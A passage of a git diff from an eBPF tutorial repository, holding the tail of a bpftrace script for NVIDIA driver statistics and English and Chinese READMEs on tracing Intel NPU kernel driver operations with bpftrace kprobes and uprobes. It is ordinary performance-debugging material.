!!!\n"); + printf("%-12llu %-18s %-16s %-8d %-8s dev=%s\n", + elapsed / 1000000, + "XID_ERROR", + comm, + pid, + "-", + $dev); + printf(" └─ Xid: %u - %s\n\n", $xid, $msg); + + @xid_errors = count(); + @xid_codes[$xid] = count(); +} + +/* ========== Statistics and Histograms ========== */ + +/* Track VMA (Virtual Memory Area) operations */ +kprobe:nvidia_vma_open +{ + @vma_open_count = count(); +} + +kprobe:nvidia_vma_release +{ + @vma_release_count = count(); +} + +/* Poll operations (async I/O) */ +kprobe:nvidia_poll +{ + @poll_count = count(); +} + +END +{ + printf("\n"); + printf("========================================\n"); + printf(" NVIDIA GPU Driver Statistics\n"); + printf("========================================\n"); + + /* Device Operations */ + printf("\n--- Device Operations ---\n"); + printf("Opens by process:\n"); + print(@opens); + printf("\nCloses by process:\n"); + print(@closes); + printf("\nTotal ioctls:\n"); + print(@ioctl_count); + printf("Top ioctl callers:\n"); + print(@ioctls_per_process); + printf("\nTotal mmaps:\n"); + print(@mmap_count); + printf("Total mmap bytes:\n"); + print(@total_mmap_bytes); + + /* Memory Management */ + printf("\n--- Memory Management ---\n"); + printf("Total page faults:\n"); + print(@fault_count); + printf("Faults by process:\n"); + print(@faults_per_process); + printf("VMA opens:\n"); + print(@vma_open_count); + printf("VMA releases:\n"); + print(@vma_release_count); + + /* Interrupt Statistics */ + printf("\n--- Interrupt Handling ---\n"); + printf("Total ISR calls:\n"); + print(@isr_count); + printf("MSI-X ISR calls:\n"); + print(@isr_msix_count); + printf("Bottom-half handlers:\n"); + print(@isr_bh_count); + printf("\nISR latency distribution (μs):\n"); + print(@isr_latency_us); + + /* P2P Operations */ + printf("\n--- P2P GPU-GPU Communication ---\n"); + printf("P2P get_pages:\n"); + print(@p2p_get_count); + printf("P2P DMA mappings:\n"); + print(@p2p_dma_map_count); + + /* Power Management */ + printf("\n--- Power Management ---\n"); + printf("Suspends:\n"); + print(@suspend_count); + printf("Resumes:\n"); + print(@resume_count); + printf("Suspend duration distribution (ms):\n"); + print(@suspend_duration_ms); + + /* Errors */ + printf("\n--- Errors ---\n"); + printf("Total Xid errors:\n"); + print(@xid_errors); + printf("Xid error codes:\n"); + print(@xid_codes); + + /* Async I/O */ + printf("\n--- Async Operations ---\n"); + printf("Poll calls:\n"); + print(@poll_count); + + printf("\nCurrently open PIDs:\n"); + print(@open_pids); + + printf("\n========================================\n"); +} diff --git a/src/xpu/npu-kernel-driver/.config b/src/xpu/npu-kernel-driver/.config new file mode 100644 index 00000000..627dff96 --- /dev/null +++ b/src/xpu/npu-kernel-driver/.config @@ -0,0 +1,2 @@ +level=Depth +type=GPU diff --git a/src/xpu/npu-kernel-driver/README.md b/src/xpu/npu-kernel-driver/README.md new file mode 100644 index 00000000..66720f92 --- /dev/null +++ b/src/xpu/npu-kernel-driver/README.md @@ -0,0 +1,282 @@ +# eBPF Tutorial by Example: Tracing Intel NPU Kernel Driver Operations + +Neural Processing Units (NPUs) are the next frontier in AI acceleration - built directly into modern CPUs to handle machine learning workloads without burning through GPU power budgets. Intel's Lunar Lake and Meteor Lake processors pack dedicated NPU hardware, but when your AI model runs slow, inference fails, or memory allocation crashes, debugging feels impossible. The NPU driver is a black box, firmware communication is opaque, and userspace APIs hide what's really happening in the kernel. + +This tutorial shows you how to trace Intel NPU kernel driver operations using eBPF and bpftrace. We'll monitor the complete workflow from Level Zero API calls down to kernel functions, track IPC communication with NPU firmware, measure memory allocation patterns, and diagnose performance bottlenecks. By the end, you'll understand how NPU drivers work internally and have practical tools for debugging AI workload issues. + +> The complete source code: + +## Intel NPU Driver Architecture + +Intel's NPU driver follows a two-layer architecture similar to GPU drivers. The kernel module (`intel_vpu`) lives in mainline Linux at `drivers/accel/ivpu/` and exposes `/dev/accel/accel0` as the device interface. This handles hardware communication, memory management through an MMU, and IPC (Inter-Processor Communication) with NPU firmware running on the accelerator itself. + +The userspace driver (`libze_intel_vpu.so`) implements the Level Zero API, Intel's unified programming interface for accelerators. When you call Level Zero functions like `zeMemAllocHost()` or `zeCommandQueueExecuteCommandLists()`, the library translates these into DRM ioctls that hit the kernel module. The kernel validates requests, sets up memory mappings, submits work to the NPU firmware, and polls for completion. + +The NPU firmware itself runs autonomously on the accelerator hardware. It receives command buffers from the kernel, schedules compute kernels, manages on-chip memory, and signals completion through interrupts. All communication happens via IPC channels, which are shared memory regions where kernel and firmware exchange messages. This architecture means three layers must coordinate correctly: your application, the kernel driver, and NPU firmware. + +Understanding this flow is critical for debugging. When an AI inference stalls, is it the kernel waiting for firmware? Is memory allocation thrashing? Are IPC messages backing up? eBPF tracing reveals the kernel side of this story including every ioctl, every memory mapping, and every IPC interrupt. + +## Level Zero API to Kernel Driver Mapping + +Let's trace a simple NPU workload - matrix multiplication running through Level Zero - and see exactly how API calls map to kernel operations. We'll use a test program that allocates host memory for input/output matrices, submits the computation, and waits for results. + +The Level Zero workflow breaks down into five phases. Initialization opens the NPU device and queries capabilities. Memory allocation creates buffers for compute data. Command setup builds work queues and command lists. Execution submits the workload to NPU firmware. Synchronization polls for completion and retrieves results. + +Here's how each API call translates to kernel operations: + +zeMemAllocHost allocates host-visible memory accessible by both CPU and NPU. This triggers `DRM_IOCTL_IVPU_BO_CREATE` ioctl, hitting `ivpu_bo_create_ioctl()` in the kernel. The driver calls `ivpu_gem_create_object()` to allocate a GEM (Graphics Execution Manager) buffer object, then `ivpu_mmu_context_map_page()` maps pages into NPU's address space via the MMU. Finally `ivpu_bo_pin()` pins the buffer in memory so it can't be swapped out during compute. + +For our matrix multiplication example with three buffers (input matrix A, input matrix B, output matrix C), we see three `zeMemAllocHost()` calls. Each triggers approximately 1,377 `ivpu_mmu_context_map_page()` calls, totaling 4,131 page mappings for setting up compute memory. + +zeCommandQueueCreate establishes a queue for submitting work. This maps to `DRM_IOCTL_IVPU_GET_PARAM` ioctl calling `ivpu_get_param_ioctl()` to query queue capabilities. The actual queue object lives in userspace; the kernel just provides device parameters. + +zeCommandListCreate builds a command list in userspace. No kernel call happens here. The library constructs command buffers in memory that will later be submitted to the NPU. + +zeCommandQueueExecuteCommandLists is where work actually reaches the NPU. This triggers `DRM_IOCTL_IVPU_SUBMIT` ioctl, calling `ivpu_submit_ioctl()` in the kernel. The driver validates the command buffer, sets up DMA transfers, and sends an IPC message to NPU firmware requesting execution. The firmware wakes up, processes the request, schedules compute kernels on NPU hardware, and starts sending IPC interrupts back to signal progress. + +During execution, we observe massive IPC traffic: 946 `ivpu_ipc_irq_handler()` calls (interrupt handler for IPC messages from firmware), 945 `ivpu_ipc_receive()` calls (reading messages from shared memory), and 951 `ivpu_hw_ip_ipc_rx_count_get()` calls (polling IPC queue depth). This intense communication is normal since the firmware sends status updates, memory fence signals, and completion notifications throughout the compute operation. + +zeFenceHostSynchronize blocks until the NPU completes work. This doesn't trigger a dedicated ioctl. Instead the library continuously calls `ivpu_get_param_ioctl()` to poll fence status. The kernel checks if the firmware signaled completion via IPC. More `ivpu_ipc_irq_handler()` calls fire as the firmware sends the final completion message. + +## Tracing NPU Operations with Bpftrace + +Now let's build a practical tracing tool. We'll use bpftrace to attach kprobes to all intel_vpu kernel functions and watch the complete execution flow. + +### Complete Bpftrace Tracing Script + +```bash +#!/usr/bin/env bpftrace + +BEGIN +{ + printf("Tracing Intel NPU kernel driver... Hit Ctrl-C to end.\n"); + printf("%-10s %-40s\n", "TIME(ms)", "FUNCTION"); +} + +/* Attach to all intel_vpu kernel functions */ +kprobe:intel_vpu:ivpu_* +{ + printf("%-10llu %-40s\n", + nsecs / 1000000, + probe); + + /* Count function calls */ + @calls[probe] = count(); +} + +END +{ + printf("\n=== Intel NPU Function Call Statistics ===\n"); + printf("\nTop functions by call count:\n"); + print(@calls, 20); +} +``` + +This script attaches kprobes to every function in the intel_vpu kernel module (all functions starting with `ivpu_`). When any function executes, we print a timestamp and function name. The `@calls` map tracks how many times each function was called - perfect for identifying hot paths in the driver. + +### Understanding the Tracing Output + +When you run this while executing an NPU workload, you'll see a sequential trace of kernel operations. Let's walk through a typical execution captured from our matrix multiplication test. + +The trace starts with device initialization: `ivpu_open()` opens the `/dev/accel/accel0` device file. Then `ivpu_mmu_context_init()` sets up the MMU context for this process. A burst of `ivpu_get_param_ioctl()` calls queries device capabilities - firmware version, compute engine count, memory size, supported operations. + +Memory allocation dominates the middle section. For each `zeMemAllocHost()` call, we see the pattern: `ivpu_bo_create_ioctl()` creates the buffer object, `ivpu_gem_create_object()` allocates backing memory, then hundreds of `ivpu_mmu_context_map_page()` calls map pages into NPU address space. With three buffers for matrix multiplication, this repeats three times - 4,131 page mappings total. + +Command submission triggers `ivpu_submit_ioctl()`, which kicks off firmware communication. The `ivpu_boot()` and `ivpu_fw_boot_params_setup()` functions prepare the firmware if it wasn't already running. Then `ivpu_hw_boot_fw()` starts NPU execution, and IPC traffic explodes. + +The IPC communication section shows the NPU firmware actively processing work. Every `ivpu_ipc_irq_handler()` indicates a hardware interrupt from the NPU. The pattern `ivpu_hw_ip_ipc_rx_count_get()` → `ivpu_ipc_receive()` reads an IPC message from shared memory. With 945 message receives, we know the firmware sent nearly a thousand status updates during our compute operation - that's how actively it communicates with the kernel. + +Finally, cleanup appears: `ivpu_postclose()` closes the device, `ivpu_ms_cleanup()` releases resources, `ivpu_file_priv_put()` drops file handle references, and `ivpu_pgtable_free_page()` unmaps memory pages (517 calls to release our 4,131 mapped pages). + +## Analyzing NPU Performance Bottlenecks + +The function call statistics reveal where the driver spends time. From our test run of 8,198 total function calls, three categories dominate: + +**Memory Management (4,648 calls, 57% of total)**: `ivpu_mmu_context_map_page()` accounts for 4,131 calls, nearly half of all driver activity. This makes sense - mapping memory into NPU address space is page-by-page work. On cleanup, `ivpu_pgtable_free_page()` gets called 517 times to unmap. If memory allocation is slow in your NPU application, this is why - thousands of MMU operations for large buffers. + +**IPC Communication (2,842 calls, 35% of total)**: The firmware communication triad of `ivpu_ipc_irq_handler()` (946 calls), `ivpu_hw_ip_ipc_rx_count_get()` (951 calls), and `ivpu_ipc_receive()` (945 calls) shows intense messaging. Nearly 1,000 interrupts and message receives means the firmware actively reports progress. If your NPU workload shows higher IPC counts than expected, the firmware might be thrashing or hitting memory contention. + +**Buffer Management (74 calls, <1% of total)**: GEM object operations like `ivpu_bo_create_ioctl()` (24), `ivpu_gem_create_object()` (25), and `ivpu_bo_pin()` (25) are relatively rare. This matches expectations - you create buffers once, then reuse them across many compute operations. + +By comparing these ratios against normal workloads, you spot anomalies. If IPC calls explode to 10,000+ on a simple inference, something's wrong - maybe firmware is stuck in a retry loop. If memory mapping calls exceed your buffer count × page count, you're allocating and freeing inefficiently. The trace gives you hard numbers to diagnose these issues. + +## Running the Tracing Tools + +The bpftrace script works on any Linux system with Intel NPU hardware and the intel_vpu kernel module loaded. Here's how to use it. + +First, verify the NPU driver is active: + +```bash +# Check if intel_vpu module is loaded +lsmod | grep intel_vpu + +# Verify NPU device exists +ls -l /dev/accel/accel0 + +# Check driver version and supported devices +modinfo intel_vpu +``` + +You should see the intel_vpu module loaded and `/dev/accel/accel0` device present. The modinfo output shows supported PCI device IDs (0x643E, 0x7D1D, 0xAD1D, 0xB03E) - these correspond to Meteor Lake and Lunar Lake NPU hardware. + +Now run the tracing script. Save the bpftrace code above as `trace_npu.bt` and execute: + +```bash +# Simple function call tracing +sudo bpftrace -e 'kprobe:intel_vpu:ivpu_* { printf("%s\n", probe); }' + +# Or run the full script with statistics +sudo bpftrace trace_npu.bt +``` + +In another terminal, run your NPU workload - Level Zero applications, OpenVINO inference, or any program using `/dev/accel/accel0`. The trace output streams in real-time. When done, hit Ctrl-C to see the function call statistics sorted by frequency. + +For more detailed analysis, redirect output to a file: + +```bash +sudo bpftrace trace_npu.bt > npu_trace_$(date +%Y%m%d_%H%M%S).txt +``` + +This captures the complete execution trace for offline analysis. You can grep for specific patterns, count function call sequences, or correlate timestamps with application-level events. + +## Advanced Analysis Techniques + +Beyond basic tracing, you can extract deeper insights by filtering specific operations or measuring latencies. + +**Track memory allocation patterns** by filtering for buffer object functions: + +```bash +sudo bpftrace -e ' +kprobe:intel_vpu:ivpu_bo_create_ioctl { + @alloc_time[tid] = nsecs; +} +kretprobe:intel_vpu:ivpu_bo_create_ioctl /@alloc_time[tid]/ { + $latency_us = (nsecs - @alloc_time[tid]) / 1000; + printf("Buffer allocation took %llu us\n", $latency_us); + delete(@alloc_time[tid]); + @alloc_latency = hist($latency_us); +} +END { + printf("\nBuffer Allocation Latency (microseconds):\n"); + print(@alloc_latency); +}' +``` + +This measures time from `ivpu_bo_create_ioctl()` entry to return, showing allocation latency distribution. High latencies indicate memory pressure or MMU contention. + +**Monitor IPC message rates** to detect firmware communication issues: + +```bash +sudo bpftrace -e ' +kprobe:intel_vpu:ivpu_ipc_receive { + @last_time = nsecs; + @ipc_count++; +} +interval:s:1 { + printf("IPC messages/sec: %llu\n", @ipc_count); + @ipc_count = 0; +} +END { + clear(@ipc_count); +}' +``` + +This counts IPC messages per second. Normal workloads show steady rates (50-200 msg/sec). Spikes indicate firmware distress - retries, errors, or stuck operations. + +**Correlate with userspace API calls** using uprobes on libze_intel_vpu.so: + +```bash +sudo bpftrace -e ' +uprobe:/usr/lib/x86_64-linux-gnu/libze_intel_vpu.so:zeCommandQueueExecuteCommandLists { + printf("[API] Submit command queue\n"); + @submit_time = nsecs; +} +kprobe:intel_vpu:ivpu_submit_ioctl { + printf("[KERNEL] Submit ioctl\n"); +} +kprobe:intel_vpu:ivpu_ipc_irq_handler { + printf("[FIRMWARE] IPC interrupt\n"); +} +' +``` + +This correlates userspace API calls with kernel ioctls and firmware IPC, revealing the complete control flow across all three layers. + +## Compilation and Execution + +The bpftrace scripts in this tutorial require no compilation - they run directly. Ensure you have: + +- Linux kernel with intel_vpu driver (mainline kernel 6.2+ includes it) +- Intel NPU hardware (Meteor Lake or Lunar Lake processor) +- bpftrace installed (`apt install bpftrace` on Ubuntu/Debian) +- Root access for running bpftrace + +Navigate to the tutorial directory: + +```bash +cd /home/yunwei37/workspace/bpf-developer-tutorial/src/xpu/npu-kernel-driver +``` + +The directory contains: + +- **README.md** - This tutorial +- **intel_npu_driver_analysis.md** - Detailed driver architecture analysis +- **intel_vpu_symbols.txt** - Complete list of 1,312 kernel module symbols +- **trace_res.txt** - Example trace output from matrix multiplication workload + +To reproduce the trace results: + +```bash +# Start tracing +sudo bpftrace -e 'kprobe:intel_vpu:ivpu_* { printf("%s\n", probe); }' > my_trace.txt + +# In another terminal, run your NPU workload +# For example, using OpenVINO: +# benchmark_app -m model.xml -d NPU + +# Stop tracing with Ctrl-C +# Analyze the output +wc -l my_trace.txt # Count function calls +sort my_trace.txt | uniq -c | sort -rn | head -20 # Top functions +``` + +For Level Zero applications, ensure the runtime is installed (`apt install level-zero-loader`). The library will automatically discover the NPU device through `/dev/accel/accel0`. + +## Understanding Intel VPU Kernel Module Symbols + +The intel_vpu kernel module exports 1,312 symbols visible in `/proc/kallsyms`. These fall into categories based on symbol type: + +- **t (text)**: Function symbols like `ivpu_submit_ioctl`, `ivpu_mmu_context_map_page` +- **d (data)**: Global variables and data structures +- **r (read-only data)**: Constant data, string literals, device ID tables +- **b (BSS)**: Uninitialized data allocated at module load + +The module doesn't export symbols for external linking (no EXPORT_SYMBOL macros). Instead, it provides functionality through: +1. DRM device file interface (`/dev/accel/accel0`) +2. Standard DRM ioctls for buffer management +3. Custom ioctls for NPU-specific operations +4. IPC protocol with firmware + +Key function families to understand: + +- `ivpu_bo_*`: Buffer object management (allocation, pinning, mapping) +- `ivpu_mmu_*`: Memory management unit operations (page tables, address translation) +- `ivpu_ipc_*`: Inter-processor communication with firmware +- `ivpu_hw_*`: Hardware-specific operations (power management, register access) +- `ivpu_fw_*`: Firmware loading and boot coordination +- `ivpu_pm_*`: Power management (runtime suspend/resume) + +The complete symbol list is available in `intel_vpu_symbols.txt` for reference when tracing specific operations. + +> If you'd like to dive deeper into eBPF and accelerator tracing, check out our tutorial repository at or visit our website at . + +## References + +- **Intel NPU Driver Source**: +- **Linux Kernel Accelerator Subsystem**: `drivers/accel/` in kernel tree +- **Intel VPU Kernel Module**: `drivers/accel/ivpu/` in mainline kernel +- **DRM Subsystem Documentation**: `Documentation/gpu/drm-uapi.rst` +- **Bpftrace Reference**: +- **Tutorial Repository**: + +Complete source code with trace examples and analysis tools is available in the tutorial repository. diff --git a/src/xpu/npu-kernel-driver/README.zh.md b/src/xpu/npu-kernel-driver/README.zh.md new file mode 100644 index 00000000..51a1c1fe --- /dev/null +++ b/src/xpu/npu-kernel-driver/README.zh.md @@ -0,0 +1,281 @@ +# eBPF 实例教程:跟踪 Intel NPU 内核驱动操作 + +神经处理单元(NPU)是 AI 加速的下一个前沿 - 直接内置于现代 CPU 中,无需消耗 GPU 功耗预算即可处理机器学习工作负载。Intel 的 Lunar Lake 和 Meteor Lake 处理器集成了专用 NPU 硬件,但当 AI 模型运行缓慢、推理失败或内存分配崩溃时,调试几乎不可能。NPU 驱动是一个黑盒,固件通信不透明,用户空间 API 隐藏了内核中真正发生的事情。 + +本教程展示如何使用 eBPF 和 bpftrace 跟踪 Intel NPU 内核驱动操作。我们将监控从 Level Zero API 调用到内核函数的完整工作流,跟踪与 NPU 固件的 IPC 通信,测量内存分配模式,并诊断性能瓶颈。最后,你将理解 NPU 驱动的内部工作原理,并拥有调试 AI 工作负载问题的实用工具。 + +## Intel NPU 驱动架构 + +Intel 的 NPU 驱动遵循类似 GPU 驱动的两层架构。内核模块(`intel_vpu`)位于主线 Linux 的 `drivers/accel/ivpu/` 中,并将 `/dev/accel/accel0` 暴露为设备接口。它处理硬件通信、通过 MMU 进行内存管理,以及与加速器上运行的 NPU 固件的 IPC(进程间通信)。 + +用户空间驱动(`libze_intel_vpu.so`)实现 Level Zero API - Intel 的加速器统一编程接口。当你调用 `zeMemAllocHost()` 或 `zeCommandQueueExecuteCommandLists()` 等 Level Zero 函数时,库将这些转换为 DRM ioctl 调用内核模块。内核验证请求,设置内存映射,向 NPU 固件提交工作,并轮询完成。 + +NPU 固件本身在加速器硬件上自主运行。它从内核接收命令缓冲区,调度计算内核,管理片上内存,并通过中断发出完成信号。所有通信都通过 IPC 通道进行 - 内核和固件交换消息的共享内存区域。这种架构意味着三层必须正确协调:应用程序、内核驱动和 NPU 固件。 + +理解这个流程对于调试至关重要。当 AI 推理停顿时,是内核在等待固件吗?内存分配在抖动吗?IPC 消息在积压吗?eBPF 跟踪揭示了这个故事的内核侧 - 每个 ioctl、每个内存映射、每个 IPC 中断。 + +## Level Zero API 到内核驱动的映射 + +让我们跟踪一个简单的 NPU 工作负载 - 通过 Level Zero 运行的矩阵乘法 - 看看 API 调用如何精确映射到内核操作。我们将使用一个测试程序,为输入/输出矩阵分配主机内存,提交计算,并等待结果。 + +Level Zero 工作流分为五个阶段。初始化打开 NPU 设备并查询能力。内存分配为计算数据创建缓冲区。命令设置构建工作队列和命令列表。执行向 NPU 固件提交工作负载。同步轮询完成并检索结果。 + +以下是每个 API 调用如何转换为内核操作: + +**zeMemAllocHost** 分配 CPU 和 NPU 都可访问的主机可见内存。这触发 `DRM_IOCTL_IVPU_BO_CREATE` ioctl,在内核中调用 `ivpu_bo_create_ioctl()`。驱动调用 `ivpu_gem_create_object()` 分配 GEM(图形执行管理器)缓冲对象,然后 `ivpu_mmu_context_map_page()` 通过 MMU 将页面映射到 NPU 地址空间。最后 `ivpu_bo_pin()` 将缓冲区固定在内存中,使其在计算期间无法被换出。 + +对于我们的矩阵乘法示例,有三个缓冲区(输入矩阵 A、输入矩阵 B、输出矩阵 C),我们看到三个 `zeMemAllocHost()` 调用。每个触发大约 1,377 次 `ivpu_mmu_context_map_page()` 调用 - 设置计算内存总共 4,131 次页面映射。 + +**zeCommandQueueCreate** 建立用于提交工作的队列。这映射到 `DRM_IOCTL_IVPU_GET_PARAM` ioctl 调用 `ivpu_get_param_ioctl()` 查询队列能力。实际的队列对象存在于用户空间 - 内核只提供设备参数。 + +**zeCommandListCreate** 在用户空间构建命令列表。这里不发生内核调用 - 库在内存中构造命令缓冲区,稍后将提交到 NPU。 + +**zeCommandQueueExecuteCommandLists** 是工作实际到达 NPU 的地方。这触发 `DRM_IOCTL_IVPU_SUBMIT` ioctl,在内核中调用 `ivpu_submit_ioctl()`。驱动验证命令缓冲区,设置 DMA 传输,并向 NPU 固件发送 IPC 消息请求执行。固件唤醒,处理请求,在 NPU 硬件上调度计算内核,并开始发送 IPC 中断以发出进度信号。 + +执行期间,我们观察到大量 IPC 流量:946 次 `ivpu_ipc_irq_handler()` 调用(来自固件的 IPC 消息中断处理程序),945 次 `ivpu_ipc_receive()` 调用(从共享内存读取消息),以及 951 次 `ivpu_hw_ip_ipc_rx_count_get()` 调用(轮询 IPC 队列深度)。这种密集的通信是正常的 - 固件在整个计算操作期间发送状态更新、内存栅栏信号和完成通知。 + +**zeFenceHostSynchronize** 阻塞直到 NPU 完成工作。这不会触发专用的 ioctl - 相反,库持续调用 `ivpu_get_param_ioctl()` 轮询栅栏状态。内核检查固件是否通过 IPC 发出完成信号。当固件发送最终完成消息时,会触发更多 `ivpu_ipc_irq_handler()` 调用。 + +## 使用 Bpftrace 跟踪 NPU 操作 + +现在让我们构建一个实用的跟踪工具。我们将使用 bpftrace 将 kprobe 附加到所有 intel_vpu 内核函数,并观察完整的执行流程。 + +### 完整的 Bpftrace 跟踪脚本 + +```bash +#!/usr/bin/env bpftrace + +BEGIN +{ + printf("正在跟踪 Intel NPU 内核驱动... 按 Ctrl-C 结束。\n"); + printf("%-10s %-40s\n", "时间(ms)", "函数"); +} + +/* 附加到所有 intel_vpu 内核函数 */ +kprobe:intel_vpu:ivpu_* +{ + printf("%-10llu %-40s\n", + nsecs / 1000000, + probe); + + /* 统计函数调用次数 */ + @calls[probe] = count(); +} + +END +{ + printf("\n=== Intel NPU 函数调用统计 ===\n"); + printf("\n按调用次数排序的前 20 个函数:\n"); + print(@calls, 20); +} +``` + +此脚本将 kprobe 附加到 intel_vpu 内核模块中的每个函数(所有以 `ivpu_` 开头的函数)。当任何函数执行时,我们打印时间戳和函数名。`@calls` map 跟踪每个函数被调用了多少次 - 非常适合识别驱动中的热点路径。 + +### 理解跟踪输出 + +在执行 NPU 工作负载时运行此脚本,你将看到内核操作的顺序跟踪。让我们逐步了解从我们的矩阵乘法测试中捕获的典型执行。 + +跟踪从设备初始化开始:`ivpu_open()` 打开 `/dev/accel/accel0` 设备文件。然后 `ivpu_mmu_context_init()` 为此进程设置 MMU 上下文。一连串的 `ivpu_get_param_ioctl()` 调用查询设备能力 - 固件版本、计算引擎数量、内存大小、支持的操作。 + +内存分配占据了中间部分。对于每个 `zeMemAllocHost()` 调用,我们看到模式:`ivpu_bo_create_ioctl()` 创建缓冲对象,`ivpu_gem_create_object()` 分配后备内存,然后数百次 `ivpu_mmu_context_map_page()` 调用将页面映射到 NPU 地址空间。对于矩阵乘法的三个缓冲区,这重复三次 - 总共 4,131 次页面映射。 + +命令提交触发 `ivpu_submit_ioctl()`,启动固件通信。如果固件尚未运行,`ivpu_boot()` 和 `ivpu_fw_boot_params_setup()` 函数准备固件。然后 `ivpu_hw_boot_fw()` 启动 NPU 执行,IPC 流量激增。 + +IPC 通信部分显示 NPU 固件正在主动处理工作。每个 `ivpu_ipc_irq_handler()` 表示来自 NPU 的硬件中断。模式 `ivpu_hw_ip_ipc_rx_count_get()` → `ivpu_ipc_receive()` 从共享内存读取 IPC 消息。有 945 次消息接收,我们知道固件在计算操作期间发送了近一千次状态更新 - 这就是它与内核通信的活跃程度。 + +最后,清理出现:`ivpu_postclose()` 关闭设备,`ivpu_ms_cleanup()` 释放资源,`ivpu_file_priv_put()` 释放文件句柄引用,`ivpu_pgtable_free_page()` 取消映射内存页面(517 次调用释放我们的 4,131 个映射页面)。 + +## 分析 NPU 性能瓶颈 + +函数调用统计揭示了驱动花费时间的地方。从我们的测试运行的 8,198 次总函数调用中,三个类别占主导地位: + +**内存管理(4,648 次调用,占总数的 57%)**:`ivpu_mmu_context_map_page()` 占 4,131 次调用,几乎是所有驱动活动的一半。这是有道理的 - 将内存映射到 NPU 地址空间是逐页工作。在清理时,`ivpu_pgtable_free_page()` 被调用 517 次以取消映射。如果你的 NPU 应用程序中内存分配很慢,这就是原因 - 大缓冲区需要数千次 MMU 操作。 + +**IPC 通信(2,842 次调用,占总数的 35%)**:固件通信三元组 `ivpu_ipc_irq_handler()`(946 次调用)、`ivpu_hw_ip_ipc_rx_count_get()`(951 次调用)和 `ivpu_ipc_receive()`(945 次调用)显示了密集的消息传递。近 1,000 次中断和消息接收意味着固件主动报告进度。如果你的 NPU 工作负载显示的 IPC 计数高于预期,固件可能在抖动或遇到内存争用。 + +**缓冲区管理(74 次调用,<1% 的总数)**:GEM 对象操作如 `ivpu_bo_create_ioctl()`(24)、`ivpu_gem_create_object()`(25)和 `ivpu_bo_pin()`(25)相对较少。这符合预期 - 你创建缓冲区一次,然后在许多计算操作中重用它们。 + +通过将这些比率与正常工作负载进行比较,你可以发现异常。如果简单推理的 IPC 调用激增到 10,000+,那就有问题 - 也许固件卡在重试循环中。如果内存映射调用超过缓冲区数量 × 页面数量,你的分配和释放效率低下。跟踪为你提供了诊断这些问题的硬数据。 + +## 运行跟踪工具 + +bpftrace 脚本适用于任何具有 Intel NPU 硬件和加载了 intel_vpu 内核模块的 Linux 系统。以下是使用方法。 + +首先,验证 NPU 驱动是否活动: + +```bash +# 检查 intel_vpu 模块是否已加载 +lsmod | grep intel_vpu + +# 验证 NPU 设备是否存在 +ls -l /dev/accel/accel0 + +# 检查驱动版本和支持的设备 +modinfo intel_vpu +``` + +你应该看到 intel_vpu 模块已加载,并且 `/dev/accel/accel0` 设备存在。modinfo 输出显示支持的 PCI 设备 ID(0x643E、0x7D1D、0xAD1D、0xB03E) - 这些对应于 Meteor Lake 和 Lunar Lake NPU 硬件。 + +现在运行跟踪脚本。将上面的 bpftrace 代码保存为 `trace_npu.bt` 并执行: + +```bash +# 简单函数调用跟踪 +sudo bpftrace -e 'kprobe:intel_vpu:ivpu_* { printf("%s\n", probe); }' + +# 或运行带统计信息的完整脚本 +sudo bpftrace trace_npu.bt +``` + +在另一个终端中,运行你的 NPU 工作负载 - Level Zero 应用程序、OpenVINO 推理或任何使用 `/dev/accel/accel0` 的程序。跟踪输出实时流式传输。完成后,按 Ctrl-C 查看按频率排序的函数调用统计信息。 + +要进行更详细的分析,将输出重定向到文件: + +```bash +sudo bpftrace trace_npu.bt > npu_trace_$(date +%Y%m%d_%H%M%S).txt +``` + +这会捕获完整的执行跟踪以供离线分析。你可以 grep 特定模式、计算函数调用序列,或将时间戳与应用程序级事件关联。 + +## 高级分析技术 + +除了基本跟踪之外,你还可以通过过滤特定操作或测量延迟来提取更深入的见解。 + +**跟踪内存分配模式** 通过过滤缓冲对象函数: + +```bash +sudo bpftrace -e ' +kprobe:intel_vpu:ivpu_bo_create_ioctl { + @alloc_time[tid] = nsecs; +} +kretprobe:intel_vpu:ivpu_bo_create_ioctl /@alloc_time[tid]/ { + $latency_us = (nsecs - @alloc_time[tid]) / 1000; + printf("缓冲区分配耗时 %llu us\n", $latency_us); + delete(@alloc_time[tid]); + @alloc_latency = hist($latency_us); +} +END { + printf("\n缓冲区分配延迟(微秒):\n"); + print(@alloc_latency); +}' +``` + +这测量从 `ivpu_bo_create_ioctl()` 进入到返回的时间,显示分配延迟分布。高延迟表示内存压力或 MMU 争用。 + +**监控 IPC 消息速率** 以检测固件通信问题: + +```bash +sudo bpftrace -e ' +kprobe:intel_vpu:ivpu_ipc_receive { + @last_time = nsecs; + @ipc_count++; +} +interval:s:1 { + printf("IPC 消息/秒: %llu\n", @ipc_count); + @ipc_count = 0; +} +END { + clear(@ipc_count); +}' +``` + +这计算每秒的 IPC 消息数。正常工作负载显示稳定的速率(50-200 msg/sec)。峰值表示固件困境 - 重试、错误或卡住的操作。 + +**与用户空间 API 调用关联** 使用 libze_intel_vpu.so 上的 uprobe: + +```bash +sudo bpftrace -e ' +uprobe:/usr/lib/x86_64-linux-gnu/libze_intel_vpu.so:zeCommandQueueExecuteCommandLists { + printf("[API] 提交命令队列\n"); + @submit_time = nsecs; +} +kprobe:intel_vpu:ivpu_submit_ioctl { + printf("[内核] 提交 ioctl\n"); +} +kprobe:intel_vpu:ivpu_ipc_irq_handler { + printf("[固件] IPC 中断\n"); +} +' +``` + +这将用户空间 API 调用与内核 ioctl 和固件 IPC 关联,揭示跨所有三层的完整控制流。 + +## 编译和执行 + +本教程中的 bpftrace 脚本无需编译 - 它们可以直接运行。确保你有: + +- 带有 intel_vpu 驱动的 Linux 内核(主线内核 6.2+ 包含它) +- Intel NPU 硬件(Meteor Lake 或 Lunar Lake 处理器) +- 安装了 bpftrace(在 Ubuntu/Debian 上为 `apt install bpftrace`) +- 运行 bpftrace 的 root 访问权限 + +导航到教程目录: + +```bash +cd /home/yunwei37/workspace/bpf-developer-tutorial/src/xpu/npu-kernel-driver +``` + +目录包含: + +- **README.md** - 英文教程 +- **README.zh.md** - 本教程 +- **intel_npu_driver_analysis.md** - 详细的驱动架构分析 +- **intel_vpu_symbols.txt** - 1,312 个内核模块符号的完整列表 +- **trace_res.txt** - 矩阵乘法工作负载的示例跟踪输出 + +要重现跟踪结果: + +```bash +# 开始跟踪 +sudo bpftrace -e 'kprobe:intel_vpu:ivpu_* { printf("%s\n", probe); }' > my_trace.txt + +# 在另一个终端中,运行你的 NPU 工作负载 +# 例如,使用 OpenVINO: +# benchmark_app -m model.xml -d NPU + +# 使用 Ctrl-C 停止跟踪 +# 分析输出 +wc -l my_trace.txt # 计算函数调用次数 +sort my_trace.txt | uniq -c | sort -rn | head -20 # 前 20 个函数 